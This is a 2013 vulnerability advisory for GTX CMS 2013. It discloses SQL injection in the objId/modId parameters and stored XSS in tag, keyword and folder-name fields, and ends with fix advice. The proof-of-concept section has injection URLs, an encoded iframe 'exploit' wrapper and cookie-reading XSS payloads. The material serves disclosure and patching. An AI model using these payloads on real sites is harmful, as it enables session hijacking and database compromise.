GTX CMS 2013 Optima XSS / SQL Injection

`Document Title:  
===============  
GTX CMS 2013 Optima - Multiple Web Vulnerabilities  
  
  
References (Source):  
====================  
http://www.vulnerability-lab.com/get_content.php?id=1124  
  
  
Release Date:  
=============  
2013-10-29  
  
  
Vulnerability Laboratory ID (VL-ID):  
====================================  
1124  
  
  
Common Vulnerability Scoring System:  
====================================  
7.2  
  
  
Product & Service Introduction:  
===============================  
We provide you with the perfect community GTX CMS software solution - making it ready to meet your needs and   
requirements and tailored to your corporate design! The complete setup of your individual interactive community   
portal or your website is done by us, so you can get started right away!  
  
GTX CMS is extremely flexible and can be operated as a closed community (eg parallel to your existing website)   
and as a normal website with a closed member.Datails, refer to the section `About GTX CMS`.  
  
(Copy of the Vendor Homepage: http://www.gtx-cms.de/ )  
  
  
Abstract Advisory Information:  
==============================  
The Vulnerability Laboratory Research Team discovered multiple web vulnerabilities in the official GTX Content Management System 2013 web application.  
  
  
Vulnerability Disclosure Timeline:  
==================================  
2013-10-29: Public Disclosure (Vulnerability Laboratory)  
  
  
Discovery Status:  
=================  
Published  
  
  
Affected Product(s):  
====================  
OBM-Media e.K.  
Product: GTX CMS - Web Application Basic, Standard and Optima  
  
  
Exploitation Technique:  
=======================  
Remote  
  
  
Severity Level:  
===============  
High  
  
  
Technical Details & Description:  
================================  
1.1  
Multiple remote sql injection web vulnerabilities are detected in the official GTX Content Management System 2013 web application.  
The vulnerability allows remote attackers to unauthorized inject own sql commands to compromise the web-application or the web-server dbms.  
  
The sql injection vulnerabilities are located in the vulnerable `objId` and `modId` values of the tagSearchTag module. Remote attackers are   
able to inject own sql commands via GET method request to compromise the database management system or cms web-application. The inject can   
be done by usage of the executable ajax path via GET method request or by usage of the objId in the tagSearchTag module POST method request.   
The severity of the remote sql injection bugs is estimated as high.  
  
Exploitation of the remote sql injection web vulnerability requires no user interaction and a low privileged web-application user account.  
Successful exploitation of the remote sql injection bug results in database management system and cms or web-application compromise.  
  
  
Vulnerable Module(s):  
[+] ajax  
  
Vulnerable File(s):  
[+] tagSearchTag  
  
Vulnerable Parameter(s):  
[+] objId  
[+] modId  
  
  
  
1.2  
Multiple persistent input validation web vulnerabilities are detected in the official GTX Content Management System 2013 web application.  
The web vulnerability allows remote attackers to inject via POST method own malicious script codes to the online service application-side.  
  
The first persistent input validation web vulnerability is located in the ajax `tag-searchTag` module and the connected vulnerable   
q parameter. Remote attackers are able to inject own malicious script codes as tag name. The execute occurs in the main communication   
module when an user/admin is processing to review the article or comments. Exploitation of the vulnerability requires a low privileged   
web-application user account and only low user interaction (view, no click!).  
  
The secound persistent web vulnerability is located in the `linkverzeichnis` (link-directory) add module. Remote attackers are able   
to inject own malicious script codes as `Schlüsselworter` (keywords) in the search. The execute occurs in the main link directory   
module of the web-application. Exploitation of the vulnerability requires a low privileged web-application user account and low or   
medium user interaction (click!).  
  
The third persistent web vulnerability is located in the `Ordnerverwaltung` (Folder/Path Management) module. Remote attackers are   
able to manipulate the vulnerable `ordner` name value in the add POST method request. The execute occurs in the main path of the   
`persoenliche nachrichten` (private messages) module in the cms control panel. Exploitation of the vulnerability requires a low   
privileged web-application user account and medium user interaction (add+click!).  
  
Successful exploitation of the remote vulnerabilities lead to persistent session hijacking (customers), account steal via persistent   
web attacks, persistent phishing, persistent redirect to external sources, persistent redirect as file downloads or persistent   
manipulation of affected and connected context.  
  
  
Vulnerable Module(s):  
[+] ajax/tagSearchTag  
[+] suche/linkverzeichnis  
[+] pers-nachrichten/ordnerverwaltung  
  
Vulnerable Input(s):  
[+] Tags  
[+] Suche - Linkverzeichnis > Schlüsselwörter - Suchbegriff(e) & Entfernung von  
[+] Orderverwaltung - Add  
  
Vulnerable Parameter(s):  
[+] q  
[+] keywords  
[+] ordner  
  
  
Proof of Concept (PoC):  
=======================  
1.1  
The sql injection web vulnerabilities can be exploited by remote attackers with low privileged web application user account and   
without user interaction. For demonstration or to reproduce ...  
  
PoC:  
http://gtx-cms.localhost:8080/Ajax/tagSearchTag?q=[TAG(x)]&modId=ptd&objId=37_%20'null[SQL INJECTION VULNErABILITY!]--  
http://gtx-cms.localhost:8080/Ajax/tagSearchTag?q=[TAG(x)]&modId=ptd%20'null[SQL INJECTION VULNErABILITY!]--&objId=3  
  
  
Exploit:  
<script type=``text/javascript``>document.write(unescape(``<script type=\``text\/javascript\  
``>document.write\(unescape\(\``%3Chtml%3E%0A%3Chead%3E%3Cbody%3E%0A%3Ctitle%3EGTX%20CMS%20-  
%20SQL%20INJECTION%20EXPLOIT%3C/title%3E%0A%3Ciframe%20src%3Dhttp%3A//gtx.localhost  
%3A8080/Ajax/tagSearchTag%3Fq%3D%5BTAG%28x%29%5D%26modId%3Dptd%26objId%3D37_%2520%27null  
%5BSQL%20INJECTION%20VULNErABILITY%21%5D--%20width%3D%22800%22%20height%3D%22800%22%3E%0A%3C  
iframe%20src%3Dhttp%3A//gtx.localhost%3A8080/Ajax/tagSearchTag%3Fq%3D%5BTAG%28x%29%5D%26modId  
%3Dptd%2520%27null%5BSQL%20INJECTION%20VULNErABILITY%21%5D--%20width%3D%22800%22%20height%3D  
%22800%22%3E%26objId%3Dx%0A%3C/body%3E%3C/head%3E%0A%3C/html%3E%0A%0A\``\)\);<\/script>``));</script>  
  
  
  
  
1.2  
The persistent input validation web vulnerabilities can be exploited by remote attackers with low privileged web application user accounts   
and low user interaction. For demonstration or to reproduce ...  
  
  
1.2.1  
  
PoC: Tags in Article or News  
<div class=``right``>  
<div id=``tagTagsWidget``>  
<ul class=``as-selections`` id=``as-selections-049``><li class=``as-selection-item blur``   
id=``as-selection-002``><a class=``as-close``>×</a>>``<iframe src=``GTX-CMS.de%20%20Mitglieder-  
Communities%20f%C3%BCr%20Golfclubs,%20Tennisclubs,%20Vereine,%20Verb%C3%A4nde%20etc.%20-%20auch%20als%20Intranet-CMS%20bestens%20  
geeignet%20%C2%BB%20Linkverzeichnis%20%C2%BB%20Link%20hinzuf%C3%BCgen_files/a.htm``></iframe></li><li class=``as-original``   
id=``as-original-049``><input autocomplete=``off`` name=``tags`` id=``as-input-049`` class=``text as-input`` type=``text``>  
<input value=``>``<iframe src=a> >``<iframe src=a>>``<iframe src=a> >``<iframe src=a>>``  
<iframe src=a> >``<iframe src=a>>``<iframe src=a> >``<iframe src=a>>``<iframe src=a> >``<iframe src=a>,>``  
<iframe src=http://vuln-lab.com>,`` class=``as-values`` name=``as_values_049`` id=``as-values-049`` type=``hidden``></li></ul>  
<div style=``display: none;`` class=``as-results`` id=``as-results-049``></div>  
</div>  
  
  
Inject: Tags  
http://gtx-cms.localhost:8080/linkverzeichnis/hinzufuegen  
  
PoC (PATH):  
http://gtx-cms.localhost:8080/Ajax/tagSearchTag?q=%3E%22%3Ciframe%20src%3Da%3E%20%3E%22%3Ciframe%20src%3Da%3E&modId=ptd&objId=null  
http://gtx-cms.localhost:8080/Ajax/tagSearchTag?q=%3E%22%3Ciframe%20src%3Da%3E%20%3E%22%3Ciframe%20src%3Da%3E%20&modId=ptd&objId=null  
http://gtx-cms.localhost:8080/Ajax/tagSearchTag?q=%3E%22%3Ciframe%20src%3Dhttp%3Avuln-lab.com%3E&modId=ptd&objId=null  
  
  
  
1.2.2  
  
PoC: Suchbegriff(e) & Entfernung von  
  
<div class=``box``>  
<div class=``formItems``>  
<div class=``item row1``>  
<div class=``left``>  
Schlüsselwörter</div><div class=``right``>>``<iframe src=``GTX-CMS.de%20%20Mitglieder-Communities%20f%C3%BCr%20Golfclubs,  
%20Tennisclubs,%20Vereine,%20Verb%C3%A4nde%20etc.%20-%20auch%20als%20Intranet-CMS%20bestens%20geeignet%20%C2%BB%20Suche%20%C2%BB%20  
Linkverzeichnis%20%C2%BB%20Ergebnisse2_files/a.htm`` onload=``alert(document.cookie)`` <=```` div=````>  
</div>  
</div>  
</div>  
  
  
Inject: Suchbegriff(e) & Entfernung von  
http://gtx-cms.localhost:8080/linkverzeichnis/hinzufuegen  
  
Output:   
Suche - Linkverzeichnis > Schlüsselwörter  
http://gtx-cms.localhost:8080/suche/linkverzeichnis  
  
  
  
  
1.2.3  
  
PoC: Ordnerverwaltung - Ordner Name  
  
<li class=``seperator``></li>  
<!-- Users folders -->  
<li><a class=``icon`` href=``/pers-nachrichten/ordner/iframe-srchttpvuln-labcom-onloadalertdocumentcookie-  
iframe-srchttpvuln-labcom-onloadalertdocumentcookie-_1``>  
<img src=``images/icons/Sophistique/files_24.png`` alt=``Ordner``>  
<span>>``<iframe src=``http://vuln-lab.com`` onload=``alert(document.cookie)`` <=``  
%20%20.``>``<iframe src=http://vuln-lab.com onload=alert(document.cookie) < (0)</span>  
</a></li>  
  
  
Inject: OrderVerwaltung Add  
http://gtx-cms.localhost:8080/pers-nachrichten/ordnerverwaltung  
  
Output: Persönliche Nachrichten  
http://gtx-cms.localhost:8080/pers-nachrichten  
http://gtx-cms.localhost:8080/pers-nachrichten/ordnerverwaltung  
  
  
Solution - Fix & Patch:  
=======================  
1.1  
The sql injection web vulnerabilities can be patched by a secure parse and encode of the vulnerable `modId` and `objId` values in   
the tag search module.  
  
1.2  
The persistent input validation web vulnerabilities can be patched by a secure parse and encode of the vulnerable   
ordner name, q and keyword parameters.  
Encode the output index of the ordner name in the private messages box and connected resources.  
Parse the tag search error output to prevent script code executions.  
  
  
Security Risk:  
==============  
1.1  
The security risk of the remote sql injection web vulnerabilities are estimated as high(+).  
  
1.2  
The security risk of the persistent input validation web vulnerabilities are estimated as medium(+).  
  
  
Credits & Authors:  
==================  
Vulnerability Laboratory [Research Team] - Benjamin Kunz Mejri ([email protected]) [www.vulnerability-lab.com]  
  
  
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=========================  
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`